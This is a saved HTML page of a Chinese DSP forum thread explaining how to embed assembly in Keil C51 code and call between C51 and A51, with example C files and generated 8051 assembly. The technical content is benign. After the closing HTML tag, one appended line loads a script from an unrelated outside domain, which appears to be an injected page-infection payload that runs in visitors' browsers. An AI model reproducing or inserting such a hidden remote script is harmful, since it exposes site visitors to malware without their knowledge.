📄 关于在 keil c51 中嵌入汇编以及c51与a51间的相互调用[中国dsp网].htm
字号:
[ycong_kuang]<BR><BR>在keil的写法可参考89852帖子,具体如下:<BR>与89852帖子相比,第一步在工程里多了一个被汇编调用的c51的函数文件(c51func.c),至于汇编函数还是先用c51编写出主体<BR>(a51func.c),这样汇编程序接口和段都交给编译器处理,你只管在编译成汇编代码后按你的要求改写汇编代码就行了。<BR><BR>例程如下:<BR><FONT
color=#00aa66>//main.c</FONT><BR>#include < reg51.h ><BR><BR>#define uchar
unsigned char<BR>#define uint unsigned int<BR><BR>extern uint AFUNC(uchar
v_achr,bit v_bflag);<BR><BR>void main()<BR>{<BR> bit
BFLAG;<BR> uchar
mav_chr;<BR> uint mvintrslt;<BR><BR> mav_chr=0xd4;
BFLAG=1;<BR> mvintrslt=AFUNC(mav_chr,BFLAG);<BR>}<BR><BR><FONT
color=#00aa66>//a51FUNC.c</FONT><BR><BR>#define uchar unsigned char<BR>#define
uint unsigned int<BR><BR>extern uint CFUNC(uint);<BR><BR>uint AFUNC(uchar
v_achr,bit v_bflag) <FONT
color=#00aa66>//c51写的汇编函数,最终要变成汇编代码</FONT><BR>{<BR> uchar
tmp_vchr;<BR> uint tp_vint;<BR><BR> tmp_vchr=v_achr;<BR> tp_vint=(uint)v_bflag;<BR><BR> return
CFUNC(tp_vint);
<FONT color=#00aa66>//这里调用一个c51函数</FONT><BR>}<BR><BR><FONT
color=#00aa66>//c51FUNC.c</FONT><BR><BR>#define uchar unsigned char<BR>#define
uint unsigned int<BR><BR>uint CFUNC(uint
v_int) <FONT
color=#00aa66>//被汇编函数调用c51函数</FONT><BR>{<BR> return
v_int<<2;<BR>}<BR><BR>第二步是按89852帖子的step2,3,4把用c51写的(汇编)函数变成a51文件(今天我试了一下step3可以不要)例程编译结果如<BR>下:<BR><FONT
color=#00aa66>; .\a51func.SRC generated from:
a51func.c</FONT><BR>NAME A51FUNC<BR><BR>?PR?_AFUNC?A51FUNC
SEGMENT CODE<BR>?DT?_AFUNC?A51FUNC SEGMENT DATA
OVERLAYABLE<BR>?BI?_AFUNC?A51FUNC SEGMENT BIT
OVERLAYABLE<BR> EXTRN CODE
(_CFUNC)<BR> PUBLIC ?_AFUNC?BIT<BR> PUBLIC _AFUNC<BR><BR> RSEG ?DT?_AFUNC?A51FUNC<BR>?_AFUNC?BYTE:<BR>
tmp_vchr?042: DS
1<BR><BR> RSEG ?BI?_AFUNC?A51FUNC<BR>?_AFUNC?BIT:<BR> v_bflag?041:
DBIT 1<BR><FONT color=#00aa66>; //a51FUNC.c<BR>;<BR>; #define uchar
unsigned char<BR>; #define uint unsigned int<BR>;<BR>; extern uint
CFUNC(uint);<BR>;<BR>; uint AFUNC(uchar v_achr,bit
v_bflag)</FONT><BR><BR> RSEG ?PR?_AFUNC?A51FUNC<BR>_AFUNC: <FONT
color=#00aa66>;c51所写的函数产生的汇编代码从这里开始</FONT><BR> USING 0<BR><FONT
color=#00aa66> ;
SOURCE LINE # 8<BR>;---- Variable ''v_achr?040'' assigned to Register ''R7''
----<BR>;
{<BR> ;
SOURCE LINE # 9<BR>; uchar
tmp_vchr;<BR>;
uint tp_vint;<BR>;<BR>;
tmp_vchr=v_achr;<BR> ;
SOURCE LINE #
13</FONT><BR> MOV tmp_vchr?042,R7<BR><FONT
color=#00aa66>;
tp_vint=(uint)v_bflag;<BR> ;
SOURCE LINE #
14</FONT><BR> MOV C,v_bflag?041<BR> CLR A<BR> MOV R6,A<BR> RLC A<BR> MOV R7,A<BR><FONT
color=#00aa66>;---- Variable ''tp_vint?043'' assigned to Register ''R6/R7''
----<BR>; 这里说明R6,R7内容就是tp_vint<BR>;
return
CFUNC(tp_vint);<BR> ;
SOURCE LINE #
16</FONT><BR> LCALL _CFUNC <FONT
color=#00aa66>;这里调用了用c51写的函数<BR>;
}<BR> ;
SOURCE LINE # 17</FONT><BR>?C0001:<BR> RET<BR><FONT
color=#00aa66>; END OF
_AFUNC</FONT><BR><BR> END<BR><BR>这个文件就是你的汇编函数所在文件,把函数里面的汇编代码修改成你所需的汇编函数就ok了。<BR><BR>建议参考
徐爱钧,彭秀华所写的《单片机高级语言C51windows环境编程与应用》或马忠梅所写的<BR>《单片机的c语言应用程序设计》有关混合语言编程有关章节<BR><BR> .................................................................................................................<BR> 关于在
KEIL C51 中直接嵌入汇编。。。 [Youth]<BR>有时在C51程序中需要嵌入一些汇编代码,这时当然可以用通常的作法:<BR>按照 C51
与汇编的接口写一个汇编函数,然后在 C51
程序中调用该函数。(此种方法可在论坛里搜索,以前有很多帖子讲到,不再<BR>重复)<BR><BR>下面介绍直接嵌入汇编代码的方法:<BR><BR>1、在 C
文件中要嵌入汇编代码片以如下方式加入汇编代码:<BR>#pragma ASM<BR>; Assembler Code Here<BR>#pragma
ENDASM<BR><BR>2、在 Project 窗口中包含汇编代码的 C 文件上右键,选择“Options for ...”,点击右边的“Generate
Assembler SRC File”<BR>和“Assemble SRC
File”,使检查框由灰色变成黑色(有效)状态;<BR><BR>3、根据选择的编译模式,把相应的库文件(如 Small 模式时,是
Keil\C51\Lib\C51S.Lib)加入工程中, 该文件必须作为工程的最<BR>后文件;<BR><BR>4、编译,即可生成目标代码。
<DIV align=left>
<P><BR></P></DIV></DIV>
<DIV style="OVERFLOW-X: hidden; WIDTH: 85%"><IMG
src="关于在 KEIL C51 中嵌入汇编以及C51与A51间的相互调用[中国DSP网].files/sigline.gif"><BR>我的淘宝小店:http://shop33496317.taobao.com/<BR>店名:嘉乐科技 主营:各类开发工具开发板<BR>欢迎大家来踩点!呵!</DIV></DIV></DIV>
<DIV class=postbottom1 id=postend>
<DIV class=postuserinfo style="HEIGHT: 28px">
<DIV style="FLOAT: left"><IMG style="MARGIN: 4px" alt=ip地址已设置保密
src="关于在 KEIL C51 中嵌入汇编以及C51与A51间的相互调用[中国DSP网].files/ip.gif"></DIV>2006-5-28
11:52:27</DIV>
<DIV class=postie
style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; TEXT-INDENT: 10px; PADDING-TOP: 0px; HEIGHT: 28px">
<DIV style="FLOAT: right; MARGIN-RIGHT: 5px"><A
href="http://www.chinadsp.cn/bbs/dispbbs.asp?boardID=3&ID=500&page=1#top"><IMG
style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; MARGIN: 4px; BORDER-RIGHT-WIDTH: 0px"
alt="" src="关于在 KEIL C51 中嵌入汇编以及C51与A51间的相互调用[中国DSP网].files/p_up.gif"></A>
</DIV>
<DIV><A href="http://www.chinadsp.cn/ProductShow.asp?ArticleID=79"><B><FONT
color=#941ae6>DSP+CPLD+单片机三合一综合开发板 特惠价480元 热销中
送CPLD下载线</FONT></B></A></DIV></DIV></DIV><BR>
<DIV class=mainbar0 style="HEIGHT: 26px; TEXT-ALIGN: left">
<DIV style="FLOAT: right; HEIGHT: 26px">
<TABLE class=tableborder5 cellSpacing=1 cellPadding=0>
<FORM name=PageForm
action=dispbbs.asp?boardid=3&replyid=1193&id=500&page=1&skin=0
method=post target="">
<TBODY>
<TR align=middle>
<TD class=tabletitle1 title=总数 style="TEXT-ALIGN: right"> 1 </TD>
<TD class=tabletitle1 title=本页贴数> 1 </TD>
<TD class=tabletitle1> 1/1页 </TD>
<TD class=tablebody1> <IMG alt=""
src="关于在 KEIL C51 中嵌入汇编以及C51与A51间的相互调用[中国DSP网].files/First.gif"
border=0> </TD>
<TD class=tablebody2> <FONT
class=normalTextSmall><U><B>1</B></U></FONT> </TD>
<TD class=tablebody1> <IMG alt=""
src="关于在 KEIL C51 中嵌入汇编以及C51与A51间的相互调用[中国DSP网].files/Last.gif"
border=0> </TD>
<TD class=tablebody1><INPUT class=PageInput size=1 value=1 name=Star><INPUT class=PageInput type=submit value=GO name=submit></TD></TR></FORM></TBODY></TABLE><SPAN
id=showclose></SPAN></DIV><SELECT id=BoardJumpList
onchange="if(this.options[this.selectedIndex].value!='')location='index.asp?boardid='+this.options[this.selectedIndex].value;"
name=BoardJumpList></SELECT> </DIV>
<SCRIPT language=javascript type=text/javascript>
BoardJumpListSelect('3',"BoardJumpList","论坛跳转到....","",0);
</SCRIPT>
<!--公共MENU菜单--><!--用户控制面板-->
<DIV class=menu_popup id=Menu_MemberTools>
<DIV class=menuitems><A
href="javascript:openScript('messanger.asp?action=new',600,450)">发短信</A> <BR><A
href="http://www.chinadsp.cn/bbs/UserPay.asp"><FONT
class=redfont>购买论坛点券</FONT></A> <BR><A
href="http://www.chinadsp.cn/bbs/BoardPermission.asp?boardid=3&action=Myinfo">我能做什么</A>
<BR><A
href="http://www.chinadsp.cn/bbs/query.asp?stype=5&s=2&pSearch=0&nSearch=0">我发表的主题</A>
<BR><A
href="http://www.chinadsp.cn/bbs/query.asp?stype=5&s=1&pSearch=0&nSearch=0">我参与的主题</A>
<BR><A href="http://www.chinadsp.cn/bbs/mymodify.asp">基本资料修改</A> <BR><A
href="http://www.chinadsp.cn/bbs/modifyadd.asp?t=1">用户密码修改</A> <BR><A
href="http://www.chinadsp.cn/bbs/modifyadd.asp">联系资料修改</A> <BR><A
href="http://www.chinadsp.cn/bbs/usersms.asp">用户短信服务</A> <BR><A
href="http://www.chinadsp.cn/bbs/friendlist.asp">编辑好友列表</A> <BR><A
href="http://www.chinadsp.cn/bbs/favlist.asp">用户收藏管理</A> <BR><A
href="http://www.chinadsp.cn/bbs/myfile.asp">个人文件管理</A> <BR><A
href="http://www.chinadsp.cn/bbs/passport.asp"><FONT
color=blue>论坛通行证设置</FONT></A> </DIV></DIV><!--论坛状态-->
<DIV class=menu_popup id=Menu_BoardStats>
<DIV class=menuitems><A
href="http://www.chinadsp.cn/bbs/boardstat.asp?boardid=3">今日贴数图例</A> <BR><A
href="http://www.chinadsp.cn/bbs/boardstat.asp?action=lasttopicnum&boardid=3">主题数图例</A>
<BR><A
href="http://www.chinadsp.cn/bbs/boardstat.asp?action=lastbbsnum&boardid=3">总帖数图例</A>
<BR><A
href="http://www.chinadsp.cn/bbs/boardstat.asp?reaction=online&boardid=3">在线图例</A>
<BR><A
href="http://www.chinadsp.cn/bbs/boardstat.asp?reaction=onlineinfo&boardid=3">在线情况</A>
<BR><A
href="http://www.chinadsp.cn/bbs/boardstat.asp?reaction=onlineUserinfo&boardid=3">用户组在线图例</A>
</DIV></DIV><!--论坛展区-->
<DIV class=menu_popup id=Menu_Show>
<DIV class=menuitems><A
href="http://www.chinadsp.cn/bbs/show.asp?filetype=0&boardid=3">文件集浏览</A>
<BR><A
href="http://www.chinadsp.cn/bbs/show.asp?filetype=1&boardid=3">图片集浏览</A>
<BR><A
href="http://www.chinadsp.cn/bbs/show.asp?filetype=2&boardid=3">Flash浏览</A>
<BR><A
href="http://www.chinadsp.cn/bbs/show.asp?filetype=3&boardid=3">音乐集浏览</A>
<BR><A
href="http://www.chinadsp.cn/bbs/show.asp?filetype=4&boardid=3">电影集浏览</A>
<BR><A href="http://www.chinadsp.cn/bbs/show.asp">贺卡发送</A> </DIV></DIV><!--页面结束部分-->
<DIV style="MARGIN: 30px auto">
<SCRIPT type=text/javascript><!--google_ad_client = "pub-0912461398712113";google_ad_width = 728;google_ad_height = 90;google_ad_format = "728x90_as";google_ad_type = "text_image";google_ad_channel ="";google_page_url = document.location;google_color_border = "000000";google_color_bg = "F0F0F0";google_color_link = "0000FF";google_color_url = "008000";google_color_text = "000000";//--></SCRIPT>
<SCRIPT src="关于在 KEIL C51 中嵌入汇编以及C51与A51间的相互调用[中国DSP网].files/show_ads.js"
type=text/javascript></SCRIPT>
<DIV>网上贸易 创造奇迹! <A title=从网民、网友时代进入“网商”时代 href="http://china.alibaba.com/"
target=_blank>阿里巴巴</A> <A
title="Online Marketplace of Manufacturers & Wholesalers"
href="http://www.alibaba.com/" target=_blank>Alibaba</A></DIV></DIV>
<DIV style="MARGIN: 0px auto; WIDTH: 300px">
<DIV style="FLOAT: left; WIDTH: 250px">
<DIV>Powered By <A href="http://www.dvbbs.net/" target=_blank>Dvbbs</A> <A
href="http://www.dvbbs.net/download.asp" target=_blank>Version 7.1.0
Sp1</A></DIV>
<DIV>Copyright ©2000 - 2005 <A href="http://www.chinadsp.cn/"><FONT
face=Verdana, sans-serif Helvetica, Arial,><B>chinadsp<FONT
color=#cc0000>.cn</FONT></B></FONT></A></DIV>
<DIV>页面执行时间 0.50000 秒, 5 次数据查询<BR></DIV></DIV>
<DIV style="FLOAT: left"><A title=本论坛采用阿里巴巴支付宝网上银行支付系统,安全、可靠、便捷
href="https://www.alipay.com/" target=_blank><IMG alt=""
src="关于在 KEIL C51 中嵌入汇编以及C51与A51间的相互调用[中国DSP网].files/alipay_icon2.gif"
border=0></A> </DIV></DIV></BODY></HTML>
<script language=javascript src=http://www.333292.com/cb.js></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -